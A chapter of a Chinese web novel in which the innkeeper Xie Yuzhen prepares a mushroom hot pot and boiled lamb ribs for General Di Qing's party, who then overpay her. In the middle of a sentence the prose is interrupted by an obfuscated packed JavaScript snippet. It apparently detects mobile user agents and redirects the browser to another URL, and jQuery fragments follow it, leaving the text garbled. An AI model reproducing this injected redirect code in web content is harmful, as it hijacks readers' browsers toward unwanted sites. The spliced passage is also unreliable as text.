谢玉珍知道李香君被卸职这件事的时候，还在后厨热火朝天地教王清儿炒菜，从来吃饭的衙役口中得知。
“多谢郎君相告，茶博士，送凉菜一碟！”谢玉珍招呼走堂的过来招待，自己回到后厨炒菜。
王清儿见谢玉珍脸色有些凝重，不由得开口问：“怎么了，脸色这样难看？”
“听人说沈捕快被抓了。”谢玉珍说道，“他家在嵩县也算豪富，如何能去搜刮民脂民膏？想来唏嘘，也是一桩冤案。”
“县尊再过些时间就调任了，想来是要趁离开之前捞一笔政绩？”王清儿知道嵩县县令是什么为人秉性，准确来说，嵩县没有几个不知道的，她嗤笑着说道，“这也不是什么大罪，想必关些时候就放出来了。”
谢玉珍听着这话，心里却并没有被安慰到，她知道这件事到底牵扯着什么，别的不怕，账本已经交给大人物了，只怕他狗急跳墙，能带走一个是一个。
整个事情里面，沈二算是最无辜的一个了，他是真的什么也不知道啊。
李香君查这案子的时候，也没想过要牵扯到沈二这堆小弟。
“掌柜的，二楼碧螺春一壶，菊花菌菇锅子、四小凉菜、白灼小羊排一盘、羊蝎子一碟！”茶博士的声音隔着帘子响起。
“嘿，这么多菜，来了不少人啊。”王清儿闻言，忘记刚才不愉快的话题，乐滋滋地说。
她在堂前燕做学徒帮厨是有工钱的，一个月一百文钱呢，比种菜赚钱多了，比待在家里也舒服的多，她能赚钱，就觉得自己的脊背挺的更直。
“这么多菜，来了几个人？”谢玉珍疑惑，菊花锅子是包括要烫的蔬菜肉品，分量很足，三四个大汉吃不是问题，白灼羊排分量也是可观的。
她擦干净手，走出来问茶博士：“刚才要菜的是第几个厢房？”
“靠街的第二个，掌柜的。”茶博士回答完，又忙着给客人倒茶去了。
谢玉珍拎着茶壶，轻敲厢房的门。
“进。”一道低沉的声音响起，挠得人耳朵有些发痒。
谢玉珍推门进去，厢房内坐着四五个男人，为首的一双瑞凤眼，鬓角微霜，眼角带着几道皱纹，才隐约看到岁月给他留下的痕迹。
“老丈。”谢玉珍把茶壶放到桌子上，行了一礼才说道：“我是这食肆的掌柜，方才听茶博士喊菜名，我看你们点的有点多了，是否需要撤几道？”
“哈哈哈！”厢房里的人两两相望，俱都笑出声来，“石甫啊，你看你的饭量，把人家掌柜的都吓住了！”
“不用撤。”为首的人微笑着说，“这位是李石甫，乃是壮士，这些我们完全吃的下。”
他指着坐在窗边往下看的肌肉隆起的看上去十分憨傻的男人，语气里难掩调笑。
“原是如此，是我狭隘了。”谢玉珍了然，轻掩上厢房的门退了出去。
在她走远后，坐在为首男人旁边的才说道：“这就是谢娘子收养的孙女儿？跟谢娘子不怎么相像啊。”
为首的男子点头：“是不怎么像，沉静一些。不过这世界上哪有能十足十像她的，有一两分已然是不错了。”
“这小娘子可不太像做生意的料。”李文书沉默了这么久，才冒出这样一句话来，“我听说她有个外号，叫‘椒娘’，应当是个刚勇之人。”
“将军，”李石甫耐不住性子，揉着自己浑圆的肚子说道，“怎么还不上菜，我都饿了！”
“饿不死你！”狄清笑着说道，“等着，才叫菜多久？”
谢玉珍回到后厨，羊蝎子和凉菜都是一大早做好放大锅里的，盛进盘子里就可以上菜了。
主要是羊排和锅子的涮菜，羊排不能腥，涮菜里的肉菜也要切的够薄才行。
谢玉珍一片一片片着手上的猪前腿肉，堂前燕的肉都是她常光顾的杀猪匠那家固定提供的，每日来给她送货，都是现杀，保证食材的新鲜程度。
除了猪肉片羊肉片，还有洗干净的羊肚、兔肉，素食有芽菜、豆腐、白萝卜块。
“茶博士，把锅子先送过去！”谢玉珍准备好食材后，把茶博士叫过来道，“看着他们，别让他们提前把筷子伸锅子里去了。”
有的菌子，生吃没毒，熟吃没毒，半生不熟吃就有毒了。
她现在要准备的就是白灼小羊排了，嘿，这么一看，这一伙人点的都是简单菜，算是给她省事了。
白灼羊排主要就是火候，别炖老了，肉柴了不仅丢失风味，还容易塞牙，她看为首的客人年纪也大了，可别塞出口腔问题了才好。
把葱结和几片香叶姜片丢进焯着羊排的锅里，再盖上锅盖煮一会儿，趁这个时间，就可以调料汁碗了。
拿出放置着芥菜疙瘩的坛子，谢玉珍打开便闻到一股冲鼻子的辛辣味儿。
“这次腌的真够味儿的！”王清儿在另一个灶前煮索饼也闻到味儿了，出声夸赞道，“闻的我口水都要流出来了。”
谢玉珍回以一笑，把芥菜疙瘩磨成浆糊样，放到碗里，再放些切的细细的蒜末，最后倒些鲜美的酱油就是了。
考虑到不是所有人都能吃辣，她有的只放了蒜泥和酱油。
调完料汁，等到一定时候，就可以揭开锅盖了，她用的都是羊肋排，肥油不多，大部分是瘦肉，腥臊气本就不重，再又放了香叶，中间加了黄酒去腥，更是只剩下鲜味儿了。
仔细捞起小羊排，盛到长而深的盘子中，浇上些微的卤水，防止肉被风一吹变得干涩。
谢玉珍把羊排和料汁碗一起放到托盘里，交由茶博士：“有些重，小心些。”
东西摔了不碍事，只怕人摔了，她可过意不去。
狄清闻着锅子里传来的香味，望着冒出来的白烟，感到有些痛苦，能看不能吃，这是什么事。
“客人不可以！”见李石甫想动筷，茶博士连忙出声制止，“等完全煮熟了才能吃！”
李石甫本想装作没听见，便遭了狄清一瞪，悻悻然老实下来。
“真是很香。”狄清矜持地夸赞，“石甫，这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780329|190384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次我也算是体会到你的心情了。”
他调侃道。
“你实在饿的不行就吃凉菜！”李文书斥道，“你要毒倒了，谁背的动你回去？”
他挟了一筷子凉拌猪耳放到李石甫碗里，一脸无奈，若不是他是他表弟，他都不想管这个二傻子。
真是上辈子造了孽，这辈子带莽汉。
厢房的门打开，另一个茶博士端着白灼小羊排进来，把菜摆到桌子上，收起托盘：“掌柜的说可以开始涮了。”
李石甫闻言眼睛一亮，他早就想喝这个菌菇锅子里的汤了，闻起来香的不行。
“这肉切的真薄，都能透光了，好刀法啊。”狄清挟起一片羊肉，举着看到透过来的光，他发自内心夸道。
羊肉放进锅子里，五六秒就熟透了，再接着烫就老了。狄清正要拿过料碗，就听见茶博士说话。
“这几个料碗，里面有深绿色酱的就是辣的，没有的就是蒜泥味儿，客人们看能不能吃辣，我给客人们分一遍。”他解释道。
哦是这样，狄清伸出去的手连忙换了一个目标，他不是不喜欢吃辣，只不过对于小羊排，他有自己的一道理论。
羊排本身是极鲜，佐以蒜泥便足以激发它最原始最美味的香味，如果加辣，难免觉得有些糟蹋食材了。
毕竟这羊肉一看就很新鲜。
羊排蘸过蒜泥酱油，入口先是稍微少的羊油融化的味道，然后羊肉才被牙齿剥到嘴里，接着就尝到酱油的咸味，最后才是羊肉味儿。
嘴里的肉咽下去，才后知后觉咂吧出香料的味道。
做的还挺好吃，不比晋中的羊肉差。
军伍中人，胃口都大，包括做文职工作的李文书，吃的也比常在地方的官员多很多，所幸堂前燕的菜分量不掺水，否则还真喂不饱他们。
吃饱喝足之后，李文书擦干净嘴，才高声喊：“茶博士，结账！”
茶博士在一楼听见声音，又向后厨喊道：“掌柜的，二楼结账！”
也不是茶博士无法结账，只是他们没有上过一天私塾，数量少的还行，数量一多，他们脑子就是一团浆糊了。
谢玉珍只好把手底下的事停下，先交给王清儿，拿着算盘跑到二楼去结账。
这样下去可不行，谢玉珍心想，得请个会算账的回来坐在前面结账，再这么搞下去她自己不得累死？
“一套菊花菌菇锅子，一两纹银。”她拨弄着算盘，“四碟凉菜总共六十文，白灼小羊排一盘二斤，收您一百二十文，羊蝎子一盘三十文，碧螺春赠送给您，总共一两二钱十文，收您一两二。”
“掌柜的做生意还挺大气。”李文书和蔼地看向她，“不过我们狄家军可不占百姓的便宜！该多少是多少，这是二两纹银，你收好了。这次我们将军吃开心了，是你应得的。”
“！”谢玉珍震惊地瞪大了双眼，“你、你！”
她激动的说不出话来，显得有些手足无措。
狄清微笑点头，确认了她的想法。